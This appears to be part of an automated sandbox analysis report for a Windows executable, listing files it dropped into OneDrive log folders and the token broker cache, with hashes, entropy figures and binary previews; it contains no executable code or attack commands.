Preview:	1.0./y.\l.)Z...B..#.6........IE..D..o.x..5f.1.R...Y:c..8#.2..:1.`.......... "...{.....43.....w..(C......R.{}..`.ead..I+.dG..}...j.>u>.{I-S"# .ve...#<....H.0T8..v.d..w.X.I..c`w7.iE2...."..F.[.E.]...7..!.{.S..<..~../D...N.....4.q#..[,oJ..i]...X{........3~..%c..3.PW.MS...iTJ....(.1kC#...@`...y.(Vle.I..t`.g..........9.......K..t.."......@....).0....,..s...p....0.a\|)b....H}...9..NZ.g..B.C...:..\|.\v...@.U....L!.t..a..0jB..Y...A..D..P...Q..E...{n.]..G.......3...(...>3g9wi.h..:n,$..V......t,...O..7...e ......'......Qe..;pdf..t....9...m..`&.,M...4I8....&<.O...U...p^.....C....h......r.....g..+M..2[PT..).....X.E?..K..@.S..b...9....z..w}....C..[...Ob....7../s...64.r..0.4...l........,..^yU......I...+.E5..t..H%@..^..O........H..$&...0............<jB1-...c.A.,4dv.K.YM....k.....b.$...iO..........n.e........J.n.o....S.....[$.e/...B!-W{$(d...G....v !I.T.9..t...........&...-.`......`........<...6!.....`.Z..k._.\..,........O.P.T.>..p(.5...=7.*...w.W..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2023-10-05_102318_1a1c-1a20.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.415272506238315
Encrypted:	false
SSDEEP:	768:Ws2mJyqRdY/bd39ZXMTHB/IBRnJQJAE7Qx:Ws2+5dYDh0MRnJc7Q
MD5:	CC0EF1D4590C42561E1B7CCA31173751
SHA1:	79862B93330C967D49C11715C2D098AF7E6AC9C8
SHA-256:	861B6519C0A24C0A2C854F3DD9C403CFE428DB7566ADDA1753E01457C09AEA99
SHA-512:	192A4D40129B205A6CDED42B84A1A586EC3259EB90626286C1ED7F0095B1A58ED97F15BA0293DCEB867CDA4537224AD94D61B546D19D9358211675C9EF793762
Malicious:	false
Preview:	1.0./....j.....!W.K.;..7...{...,.(5."..1..q@..y........<.i:>. .$L...b..X...G..M..X.<in..h...l....0h..Q....9%..6h.D)_W.LJ.....L..L.J......22....$$........N."'..+... W].5.\|.\|...\|T..k.._&....CZz..C...........8d.9.B...j.YQT..EZ.tDp.........hwW'...td....1..I...;..>Ny..:.M_.I...u..\|>.9...{A.....9...{E....i......OM.0..j.c2>.9.q..Q.[l'r2.;XbqP.[...~....V0L?......?z..Q..bS7..<........#....q.Mb.i+..t.......%k....cg.3.l+........e....p....u../.v.$..]..@.?O....t.Z?...G....W .......2.K......%.K-M..ob_.Pk......a2..SY.=.I....[.P....Slkt...,.......k....#...Z.P..v.Xv.....M>$3.,.Cg...n>=S.C...+t..b.K..?<....Y..aH.d.....db.p..[g.;...M].^.<..@.'.\.sz....D.~..........;.X.\|.....<E.p9}.NC[.L.......O...k.....c.........:..f.._)..v..(.......Z....>....].x...ly...6o.;.L9..8Q V./7....fd.1.B..>......X.VW......K`W.......Y)`*.c'......v..D...b...~...0.i.....xxr."..f>m.......o.!..#oO.T=..-U.J.47\.Qt.p.V.......B.E...}.".a\..m.l..5..Y..\|..k..M..+.g....$...)...I.@W

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_095017_12fc-1e0c.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.5634842903665795
Encrypted:	false
SSDEEP:	384:eGYNcAKa4r1U/N9Xwf/DG7SX5yulicAwpNYgGZuWKn6/1V7qN/yD5lsS7mecE4/O:OcAGq/N9XvSXJiapN/GJtVZD5ls/Ecq
MD5:	1B5D94390F678527C1C9DFDBCC45B15B
SHA1:	3FE75C2EE131DCB99FC610094213EDF470DB96FE
SHA-256:	DD036A39E48CB9EB590F8D01BC71121ECEDBCF7A67F2279BD9F0F118D5E90D30
SHA-512:	93F54DF1375380C8CC631EB3714848AB2688042C6BB13EB31CA1857ADBBA9E07BC8BB958E4E51C39690131C02940EAD7A6EF72D73A642C38606ADD3E5761E1AF
Malicious:	false
Preview:	1.0./...{.I.<.@...c._.8j...........Du..X.....fO.x.q.h._...[..s..}..w.$.....@i..r....We.w.v....x.9.........H..+.....6X.....9..r,N1[.K.5>\aL"l.w6..:.kZ.....T_KK..;...f..j/. 7Y6.e..k..C.....WLfH...S..Q.....M.`..t.....-.oz..-b.Q...z..'.A{...d)>A..X.g.,a"s.#.....4Zl.g...v'a$R... ..l...;......N....D.....4.!..R....\...!...ot<.h^^F.Zx?.Jj...W....^.....C.].#n.7L?`je........c............yj$.o ...4.58..sK.Tx.....,.T.7....\|.I..l.sC...J.y.g..~y..&...b.....$....e.."...eX...Ky...3:S.q....T.kW...!..........."3...J(<PU.H8\.)A...PEr.Ej.....O.B'.7o.%f...a.....C.d....[..P....8..T..\......K`.....6K....zd..My.OZ.1{.k.a...[.\.....5E5..s...F.M..#...y.!........;.Y.9....'P......1...O.J)R....[.S.....N].]+.J=j0K.......ztDi..*Y85tf..B.g?X.q.....J([#.....;Z>'........yqfHK.lO._t......=y.7%....x!....qF.....N!.?....p...~Q.h;.!../..$......md.(...n<...x. ..........E;....n.a..Sj.o...u@..?.2[...v....fT.v..~..k..i>......4.g..._9....QF........i.h&...J..?...V....g...OB>!....h<+.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_095047_3788-4960.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.312377505902468
Encrypted:	false
SSDEEP:	192:djMRE5PeiX4t8zJvoSH8TNRHAM7lRYsP:xMG5Pein1PH8TNRn
MD5:	79CF45CF8C4BA23224625429EB65D9DA
SHA1:	E2899C7423380372279D098768973CFDFDC761B7
SHA-256:	274EB7310A6B6D063F29110EA2EBFB7C3D12C9973B02557D549B6B2E16775141
SHA-512:	DEF314141F0A8565B22615759FBB6AE19B8D7CD2EAAEFDE432257B9FC8D54CFAFC27EC8F22F6CA935B68DDE13D5357DA0AB687948F71E9603CC30E60A702EBC6
Malicious:	false
Preview:	1.0./..'..J........n......ij...4.E{.D.T!/6.a;x.ag.2LM..A.......N.pk._z.....=/p...2.D2.s..s.%(N...:..EE#....O.#k..g....F..c.{...o.#..3.. .....WB;=......EX.-X....N.K......../..Pc./E.?....\.:'....-.AX....N.......w...........ch...Gi[.....4q>t]..<.6...}.p.......(y...^.iL.{k rl.`%}...M....2l..:...Z....2.@..^bp.ma..U........`.W)0O...zR.......2=....I..........qA.)..P...f..VF.Uo8...g.$+.......0..N.E~..bn.........l.G\i.ZX...B=$........2i?..19...G.Ip.d..~../..)V.lq%.;gG2..tB0I.f.,..@>.)^..0.>f.....y..}~0...65.&..7......g.n....>.J.g...6}....j.g+3...M3}w.y%.Q9,..\I/...Q..C.}..+.\P......d.!..=..)&.......<...q}..F.^3..U...X_..cz.....wW8o.m.1.>......]....$C........)...V..#n.D...u.W.B.... cv.?p......5K=.^[.K.Tf..{._.._R....9O.\|.,.1.......?...s~..@cn../...%..{+.D.Z.Fr.bxP..y.F%.......#y../..`.'`.+P.9.&..aH.j...j$....~...b$.....x......Z..,...........$......W.\.Q.3.JA.W7.6>..h.........o~....a..E..t..$+r......C....p.......8..%.....QA.....\|.1~..g.....4....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_102335_7436-7440.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.7605537667960425
Encrypted:	false
SSDEEP:	384:ThIrhxTiL4lGCQN/s003Sh1OQr4yXIi4XBei:Tohxdl3QO0GQrive
MD5:	588FB691E69D23298AE2E66699CE2C3F
SHA1:	387238CBFBA0B085CA5563FB0F8CEB9CDC347672
SHA-256:	4FBEE57157165B3A4067938862BE58CA2B16643870C797E0106B1A99849D3363
SHA-512:	59D8297AF7793A337E273750A16F0ADB76DC41F006CA0EE82AD26DA9A09640D755E18937BB14FB0E39815141310D18006BD4E3092628A2F6AEE52FADE423EE1C
Malicious:	false
Preview:	1.0./..~D.[....G_@.i.s5Uve..+$..5.gP...`.fc.d...V'H.... .m".u.aD.i..-U..!#.P..L.#...ro..>..{9.O....o..(.(0.#..}}v..u.....e...Ul!RF...!.u..,..(../......7._..\|....z.....B......"..G'.^....<^...N..7.}(z.Mn.E.\|.X.4.O...<.O.A..}.T[.C...Ca..7kx..,.%gI....-c=....>.v.....4t. ..e%u..E:`....A...r..m....6G..Y%..S....2.A..p....!.."....6..Z^..s..]...F(2..D.Z.a;.....u...<u.&N.o]....qP.b......K.0...j... ..=..{ ./44..R..=...^..q^..Y..-...(./.u...1Q....D....D.\|.G..?E{...N..v.:k\#"1=..3;.......6..""..Ht+......M.J.}..;......%...t..y..e..oY.K.l......"......z.s......>..$.H?J.m.v".....L>....h..E..!.hm.B...8....,h.. \.......gT......M.z{.....A...gU.j2.......8./.M$.......WcB.i.I\.....:......fM[D..w....l...0r.xX^.Oh..... .l..H.E..%.m.@b5..sq...L..H.....-.TON.}b..%Y..T.{..J.$.<i._.u.\.-.bA[.F.............k..U?...vLgN...Z...@...i..)..T.\}X..v..f..fZ.=q..U=R]\.=..N....c4V........'...<5Q.+M.;....s..RF.1..)....V.2W.C...f.......V..lWMrn#X..[.(.R+..rd:.F.U.?.~.U5....Y...z

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-05_102551_5124-4868.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0062335220580338
Encrypted:	false
SSDEEP:	96:XHPZYUL/qLfIq8aRULaFkSK9mk4jx8aa1sBT+mU/jU0vkiuJ7b2oBGvKNe6Q1Ag1:CU2LwqbkaFghaaW+NsLuoTN3QWIXx
MD5:	4478694DA7E305D3172EAA5B1F50C7A8
SHA1:	46F0E88BB949463C04C16D242BFA780C263611B4
SHA-256:	42F9E6EE1933DC4833A56D8A3B90633F334C416334223AE9173E5F3229BFF402
SHA-512:	C29C552CD2D1CBB84B23D54D7DFC899BB97606DE1A0F8495E5361DED84195A0D4F6870EBFEB1D248AF8DEBBAFA5E5B8C1C829F6156798395A430325E5B407791
Malicious:	false
Preview:	1.0././.m.q...9......R..W..\|.u$.[.l...c.....aX......&}.97..P.nH..CBd.m]/..bV}..b...KM..;V.....\|.....y.\....../.qp.b...~..:..]..=(...<^.)u.a..a.e..7_:..).0..]...K..p.g....i.....'..h..Q..]..y.........@....."..9...>.a..lh,H.q\F.VQt.:...8@..X..q.l;.R..I..L.&_.:..!...qJq.<.sK`/R..1..a..)YI7$.B....j......L..s..v...g..K7}......m.Y!..N..gd.0<.7.<......a.........>d.fH.J..)c..s;...V\|I4,F....K..N.A.Dy..`.e..XY1a..+f~GH4..w.?.s.....z.....Y.O..@..^.e..k7%..5.0......R......r..6/?.'p...x....R......-.....d...@....L.Y<...-.yT...?[.S..D...d$.[Y.SV...Si..3FP.96..%.F.I.Wa.f.2!.../8.....j.....AAKU6bk.N.\.q. ...c...$.'f.....@&.$.._.....k.TR2nG?`.}.e.K.n!:M..R._(R...a.6...0.. p..z.l.....).....Ot.....b.....w\U...S....~5.......=BN........mA....`.P..6..H..&I:.i............@.u+..ci..Q..N..\>H.././M..0..d.!...2UR@b....h...O.........b........._...P.NN.T.5pE1.XsAd.....5qL..p..,..3.2.._...Pk.>...../....x....%o.o...."..m..~:y.}......4....U.........U<...$.....?I

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\machineTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.428377737301429
Encrypted:	false
SSDEEP:	768:H3Yir/PkH2UmRcYOjpVH6JLr2+EkFHWw3:H3YCkWxE1VG2bkFHD
MD5:	B85C7665050AED978150665903D1C89F
SHA1:	2F931CC6DED436B41E1AE6B3BBA5C73D68EAB1AF
SHA-256:	CC0BAA1AB297ACF25BEEB32B82154386C6567C1AEF2E66F604F805DA83146319
SHA-512:	43630FF9622F441D5D2DE35C38B49834104877BD64C91082D86754CEAAB3CD0519F09487FBCEDD60E02F430F0F08CE3DE943CF5CB178F7213626846BFD9FB88D
Malicious:	false
Preview:	SQLit..#....R.k...Q.3~.3@.........Yj.....2....~.......?.CZp.......D..9....#^...l..........kh^.0U..D.V..z........m.@....../K.Y.V.F...{4X0..`.r ....L...xG.1)..d...U.5^.Y.7...^9_al..3s.HE.<..i..^...J..j.h..b..].M..M....5....J.6.<....O...9i.)...B.8..w,.9CRq.c....B7$..g..F....b=).9s3p..+.D.........DU.Q.M+gKI..\|......r......0.a9.....K.<.}.D.z.D........L..>..C4.i..nJ...Y.n."9..}....F.sH.y0.a.+3F..........jI...7.;..A..3Do.....=v..pn$U........l0.........AW.....G..].c%.........\|...$.&<R..(...e../...)./l.....d,U.......M.....j...+....1?DF.../.....b<.Y.k.....e.... hW.l.r...K@v4$m.5B[%w.,.k.49?[..........zwM......_2...Gf....p.F.Q'...XVdMp.....=%56b.C...O....'{.2t..B..y..`4...m.l..9.f...r.&.idA.u.c..el.......(\C.0......f.F..@...!QM..!J..r_........{T.;.@.n.\|<z........P.Z....+.G.r....s......H...CZ...W+.....B.*.xK...\.......M{...76u..%.R...!..e..V..\8.>\.....JE.../...-..mX...&1....&H^:.H.:.....qp..}.=J...N+...n?....\|..C.Rq.b..FX..1\|'..s

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\parentTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.428835168237505
Encrypted:	false
SSDEEP:	384:+JPJY0cK3jzd8sL3ZixKFkmCgYetSKCAc9mdrDK76wU1LZLK8bJkx7KPWb:yJY08sL3xPYlKCAci/K7kz28bqw+b
MD5:	CD71787F4745C65CD9B91F858643D8D0
SHA1:	2181DF6BABAEB7A28E6D884E1DDD3BD39BEC0A2A
SHA-256:	805ECC6A65FE15C4B2E640046B05E7B63731483E4D27AC3FBAAF2FCE04EFEB06
SHA-512:	C9F6DA69BBD7AECCD03BF6D5288979EE7567B8C33AADFD22E7E395518BF65A5254641CBC5842C9BB9C6E1F986B6C6729C6B27C13E969C00FDD4F02CBBEB29AA5
Malicious:	false
Preview:	SQLit"^.ZF.2...y......S..G.6?...M...w.q.[..S+.{..dk..T.."...3..#.=..S..@./.(._..d..I^....Z...f4.(6..(..\....tv./Q+..zm..N.[.\..p..L.:....{.t.u.o....t7........'o.^^vz..u...T..T.?.)....$.Z.B...m3..oO.../....~s@.....<..M.4.b@o.......O.'....p...`^.C,.K......=p.U..]5..9F..?...o=u.F...7..e..D.g,mT...+.......d.L..........E....Be.......<p^.vAMJrf.C...w!.t.JU......%..Qa.4O....#$..........K+.....i.kM...$..}Y...H....r..Yr.+Hf....&..&.oc?E.$>Z.A.......R!S..~7.T...LY.k.%.".4.?!<R..r.x..y~.q..).^..=..B6..S.i........x....C.z...@.f....I..O.....<7....?....]...^........Y.`Y.4.2K.`.V.+...q?....!.E(.DH.^.RR.1.d<a?R.`CD...]H..t...L..e.fZ..L...0I....j..D%>...r.mZ...(j..$y2.?j=....z#..>.......BE.8A<v.u-~X2....#3...$...x..A....G.2_.9..RQ..W.A.XdOA...P.....p.X(..!......f...X.P..0.o.d......p....,L-..+...?....).:.Lu....&j....."...WS..mt....&.#.G[._-3.."..h.g.(}.(.R......9K.A6..A.'.........%....:.\|..A....!.>....N V...)x.m.>(...j.i..i[..T+......@TB

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\userTelemetryCache.otc.session

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4249469505674406
Encrypted:	false
SSDEEP:	384:W0wj6ZwBQH6ZXof6sKXPKpqv3/XzQ6jnBFZ+C6pNsvF4Caahmj/kHv7bVqJL:EnBxX4gP7v3PzQkB96pNwaCv7bV
MD5:	8DD3A3FC2E311569D19BBB306D8B3FBC
SHA1:	6C3410E5C690F0CBF58C2A0F3FD626B21EAB1F12
SHA-256:	A3C318FA5D07D4780432E1151EC7F787E85B344B55BE68425AC9F4AC8A8D339C
SHA-512:	F504262A7B8F393137AAA249D0A1C1D0D3A885C4D640DA5F97D3B6E06C66DA6802152CD64EFB56484393790FD8F00BF039F163EC38B12E21714D8617907D2B4E
Malicious:	false
Preview:	SQLitR.4.?...K..YT.K.....-.p6.-i...%.LZb..W.%...~.n.&#..)\..5..9+MJd..$a.kT..F{`sq....\)....&@..Nc.{..1.F.B!..[~.kf!......U...ii.N...=....Z.Gd{.%^....M........^Q...2.......Y.....M#`.<E.."R.d.+d.c...^b.SJ('.......aN.A9...z{aB..J...D...+.t..4V.".....fb..I#.1Rfs...!....;.AK...x....d..@.+.=...(/....,..?*.T...R..\.in....X..l .5.\.S..P..p...\|.2.~y'L.&......"g.j.1pO_....ND....,Y.i..~.H....Df..t..c.BZ....]K..~`....)I.CuD...Y....g.3....\|i..X-...H.HhU.4...G6.....]..lC........xn(.l.e.cwr.4..+SQ.}.......5..A^.Mo,%.....esd<U...f.q..Y."n/.b,./'.!.&.[.E,L.2..IjA..V......I...A.`.z...C...p..>....#.1.+d...U;..j.[.e..)........8B.g.6..e(.OH5.T...\g.gGQ.i.f...P3F....B..eC...36{..z)4J.?+ciJe.9...J<p.#.>.p...$...P.FkY..-2^.}H..GAy....<.3_.[....A.....bhmce.\|O..........(..F}-....Ah...r.....B..,G\|.;...[F.;.+....>u.......L.Uv....E.......5.=.@...a}SV.#{R..1......Yb..T.m......GS.J.@O.2.\N~.$.CV+A.f..t2(...i......x3.ka_4.......c....W.w...X...e..........."U.F)d.

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.912730158368506
Encrypted:	false
SSDEEP:	48:73NZvoejxGLVZxs76G5p1mp2gkB6XnbBleztLyvX12psS5PBoX4k7qjAyD:rNxo6aGNp1k2gkB6XwLm12p1rk7qjAa
MD5:	E4BF5CDFA70F0605CC1FE299AFCFDF91
SHA1:	01D21E53415E77B3A07E0291C1F62968B367363D
SHA-256:	4318F3ACA8028E34AE157881EF1B82BE610106041ED9A000DB2824069E8176EF
SHA-512:	8CCD54FFD508F1D5F207A06F317CFBBEDF8BE82F920B260285254D7B5AB842C99E520A6E0802F194E546755F01228A21771929EFA75DCB2B70FD34E8B45CF55C
Malicious:	false
Preview:	{.".T.6...r.`...Vg..u&D.[.&@b,....e....g..Pz.)R...N.n.....J...,.;.....M._......Q..".(...^..L...tFf..y...Qu..8J..XJ.LX.(.A.I.....5g..pjg...G...89..?-.CM.K......?..@...,...PjU..%....e.;.7~.p...xo.QR.-.u.+....t........y.....N..6'Z....j.Ei..2.G......C.........e2...~.v...1V.Oi.8...)M...........G.O.Zn..s....F....6......t8.X...@...Q....!</.`.z.......Fa....z....wk...qAO..W.Ykr......c,8.p.....Q......f?...9.._wP....,...z..{.....aF...).1HLM+..8...Io}.U...`T...Dih.!..{..Vs..n'....3w}.....!..<.dg...plcw..fq.8.g..!R.a!&...P.....Lz.!...v..tC......4A..iR^..}d.,O`..+..]Z.r...3X.h-.5..G.. "...=%.;1<>..e...-+.h...}9..K^]......:...J.i.t.F..H.,..1..P.......?j..r...o?....?...Q...7...[f.O...$.F..g...K....6Z&,.....R..{..[...+...P.M....4...\|..a!.....p......Q8z}-.....<....<..~h..{.dP.....B..-..@..5f.PN-...uV.?..(.5.I.$.,".%.......B.V.x...F.1.yT....%.(g.....P0...~..%......Pt.6.......@....H(.I.2L..$..u...#0.....wk..r.........dK......f.s..i(.&0..,[c

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\1521f696d8626c8e8127c0284ab987ff1974f39a.tbres

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.9308752317448254
Encrypted:	false
SSDEEP:	48:C1TGzmyxiAbZD1RppTv3KLa+mF/aFI1WVPi1nfLD568Jzb5Uy4qyD:eSKqTpVQa+G1BnjD56oz9T4qa
MD5:	09D7BE9C2556898C7BD0C5146D6E9A0E
SHA1:	68C3278BF1A39C2D30271D2F2016AEFC19CC4690
SHA-256:	E7083713EF60381552A5DF81906E231158366DA706FAE625500E5395D82F99BC
SHA-512:	06E6C9AF344D14FFA59F4D2A0712FF419AD4EA4E383B44CBCAE113842D7E9A2BFC134EFBAB84F42088B093B6E68C71083A4F36C1CA1769684AB6C0C9ECA7BBE5
Malicious:	false
Preview:	{.".Th.Z...`...H. ....!..K..m..@P".......X.$....s...8$7..j.8.'..?.....}......J..t......t....m/.wSK.,{.f.B..o...CTg..j.3.{.#...#...aR\.........F..%.o!.Pz...'$.&.......l.R.g...$@........`.....1.'.C.,......pEB......l.j..G_'.. ...g%i.->.A=L..5....d..]p...DC....-...k+......W.+('.fV.....i8.4n.[....:9.....y......~/..3.._)......B..=.....}..g.K.(.%.S..;....../.x.....~....j$Q.~..e0.J....W..;...\h.../.Z...\|gj...Q.f..i..v......?.i...Y....../..^O...b./.....`...;.,..,...K)....G....z......o.sA....U..#...m@..1fBK0o.h..Z.z.E;...a......]i.....V..4......2.! ..r..7.F...s....I..+...Y....@..E..C.$o....L.A...2_....^b.k...c..}..^..i..{.8..S....Ml..yP.....IlJ..XAQ.....N..5.v..J.K.....B.ia... .B.@.A"ne....:.R#eV...e.....e..l....V.+....^..a.. .O.>,t;.BF..,am.g....MG...H.b.N7.e......L..M.A.e.#S......g.J.....e<'.(......Q9.7.`......-7.)#\|..#.[._.#.W...3....+b...\|r&:.>H.4.M..:...ME.+...........$...3Q5I.=..>.....1=...8F.......{..r-.~..&....][j..*.Q@.....w.....

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.928743066827351
Encrypted:	false
SSDEEP:	48:aq2QipTPIQskcApFrtAePJM6yVxVF7WepOmDpkl2Cbo5h64ShYgDOQZ0XRpzNXWO:L3ipTlskccFrtVJ9yV97pOmOkOOQKNWO
MD5:	A31ABB5B4B049C964383E05B85CA7DB3
SHA1:	E3457A7837663018ECF2A04E257B6E7301C9360C
SHA-256:	BAF0E39C2FF07B81B0EB99EB70D62CDEA8D31645AEBB2ECF6D97DB47260FCE68
SHA-512:	EF62464B0505911B279AC1F386E1E0B4505449EFEE5C76EB5859E7D25364DE3B0584862FE9197F740FE7ECDB241C0B6EF6EA7DC39BE05177471D6268090F3CD3
Malicious:	false
Preview:	{.".T{...NyUrc.iv.D.#.<rJ.v..r..nLjaj.......2K.-O..tU7.P~y.x.K.E...8Im0.;.!R.............I.d.bu.d\...........6y.Db..VA~..;......5..[>.N51...58b..+..:......BNa.K...}Y...V."B\|'.H..Y.............+EX>.n.e...;..^.\,...d.=...P..f.H......n....=..g5.-.....9.u....S.'...6..I.L..........._$.>./.....$.c.tM.#=.h2.v}.7g..r..s..?.5..;../.h}.j..j..t.y.<.<;.q........3.W...H..Y \....^.@P....;h_.f.t..^qxy.k....FbR.p.,....Fk.Lh3c.&..$.HZ.;.EC.l..I./...%..E/.+..#....U...k......xS...$.y..?.Gi.<".CE.;P>sn.:Q..\|s].).X...>T@.$..5.Wj.ep.+".n......s...^..{.U..(...Qd..R#.1YJ.....PY.......+...0....q.Y.8..M.8.).\.$D.4.....W.S..wh1\|..f......5...\|]W!F......rP-e.....;......!C.W....'..b..E..g.78_."#W...V..@..-z&....B2..e=:....@".g....F.....U.w.!.`.&........;i.m.+,..O.....p...#..../......sS..L....#>........i.`.-.8......k.>..^...j.......S..H..bR.....hZ.!7.=b.,..:...nT......d.5...7..uo..y.Hm".)rau....-.2E..B..@..D....N....k~A..2s...{.c.P.m[.}d....g.&.v."?./..y.v...R..}.

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.923694550814385
Encrypted:	false
SSDEEP:	48:49wQ6LP/Hfg2cpKpn4ojiE+iNzXlfE43c0gFiyD:49wQ6LP//ghK54QiYNzXa43crFia
MD5:	1A3CD8FD4C90A3FDE9E4177249107A9C
SHA1:	EF27283DE9CFB1AFD74BE430BFE2D6FB9E9270BA
SHA-256:	1DC4D1F1DB5ED5956274CAF81C5D5B104539AEB17C332F0C5E084454C70B404F
SHA-512:	75FEC3EFA80630A45063CF710E4B41B07976102F72F0B8F94BAD74AABB46F5AB8F4ED1B01A44EA2741ABA4B736D72BDA271AE1E918F6F043541DB42A9AFF0138
Malicious:	false
Preview:	{.".T..&.x..6....6:.x....Y.g...j..Pi......)...4kx..3T..\|..{.......n.D?J.ES\|....ho<.9P-a:.j.....QAL..g..`42..K...HRZ..%..9...CcID....U...4h.9.........~.O..{...+.k.....uV.bP.. ..y.$j..=q........7d'.!...6.....S._...pfpD...8....-.dn.....-^.%.t.w?ed....K....Ut.....1K(L.!.C...+A..3..~6..U...S.D..+s..$.dB........'.0..Cm...2..>.d..s..\|.sh..............n.N.....=2O.....8..#..G?..A....C1...p.'d...S...9.uv12.g.........;..f.:.{.3]......u.,h.<.....%.....Qs..{.Ax.....n.;......w../x..Y..`..sb.Y..{8..Wh..\|C^`v.....j.U....rM.>..).....!...i..~..P.V.zlC..~...+,V.P....A.-...?;0KZ.qJ}..."....1....K..D..:..1\|=.&ll........v..[..3...oD..$_.......)f.....q.a..r.%h.S.u..^7".nm..c#...qC.I5.Z.X.z..0..P...#......g....v.Uq....DI''....M..-....k...g.{..5%Z..N"..QW]mV.R...(."{...G.^.8...s.K......Z.h..<g....A^.`W_.X&.....)...7U.....H.y.......>..73.M@f..F'5_....@H.%Y.cL J...i.l.......ob.LixW.6.(..Ia2..w:..Q.o[B...W...~...=.M..c......!.9.xi.i.U.}.e.@...&......(.U$.:K...

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	4956
Entropy (8bit):	7.961771477525211
Encrypted:	false
SSDEEP:	96:kRilJhSED3IYoC1rU9/VYRWcZCcgpIGgJ9GgFbeCa:n/ocrU9/VYRWcpU89GEeJ
MD5:	DEFF3AE79D9A728B7746A7FAB7D090AC
SHA1:	C54DB42173C6F463342E681B7FCF8D6E38F68D1F
SHA-256:	DA70C453DFEC5661B5DD7F2B89B488CCF037CAB47B493F2913D2E07127CE7EE3
SHA-512:	D2AC2009C98420EA2EE27D377B35D28B609FC9A564B0C7C7A881F72ECE37E496986B3FDC899631D145CF0E1E699B83FA3AAE2BB76D0D7746811E105A682172D7
Malicious:	false
Preview:	{.".T..+.Cb-....;h.}.(......?G..$<.....O3[..^..5......{....>e. ..+..\.y.....J...h2p.......%zU..S.\.m...P....V.z(L$f...8.R.....h.e....^.a..0.8..S.$+.v..5..].R...Fq..P.z.b.C.R&...&C.......Q....i......`..t.......j..8.it.......l....p.......c..[.B.}z3n..4.Gl..9?K...]...e..........S......%...F...{.....[. ....#\|(.&..u....m7..n.Z..7.._."2..2"...+R8..z.../....^.Re...G.!K...U..G{"{..h.A4.....6.-.;.k\|W.,R.c...X..&..f....e....T.X.#.z.r....A..!...].F.]nuM.9.......jQ....4......-.b.yZ...D`_..1x...r.).R..[.._T.Q.4.N.B....;4..\.(K7',...K@.Dz-j.....3Q.}.h&f....QQ...H<e.:.4..3........#Q.-'.....z.....vZ.T.Qt....]t.!..LI.P..4!...1........zL.co}.....4.e.p...S:.#\....]...s^4).m.a.......Y;.3.Z..%]n.N.}.W...r..i%.li....RP.+9.-3D..&S....B.2.H=..........@..Y..x....]"3.eW.H.u.....K7S..k...~w....R....d./A..l..,>.xu.\NX...........j...A.......s.........-....../...<.H4!......5.;...u.....BC9.o.>>.O.....U&....?W..mH....&..#+;.*..\.\|9...n(NB.RQYw.....%Z>'

C:\Users\user\AppData\Local\Microsoft\Tokenuserer\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.9391712437812805
Encrypted:	false
SSDEEP:	48:YDiF3KExtCs9wqcsGSVvIx3bhl8hO453oC8ofWkKEreIgUoYprEDmMgQNqSuCCcV:JCsmhs4bAV3L8o+kKRlUoYpQeQwmCcma
MD5:	3C11C76E53773380AB68A171110D536C
SHA1:	BEB51014F360533E8B10C6AAA3015B79A6402A5A
SHA-256:	4890E2BB0C1A48F132E55CAABA70F054AB451DDB9ACE9280BA7AED05219D3517
SHA-512:	8CF04D05FB5C3BE4E5027FCBDBE50CAF9627E1868FD6FC266335A947648C703D001598BE1E2B7D9524EE83955CFD3159E729C441526549BAA680A933C7E30362
Malicious:	false
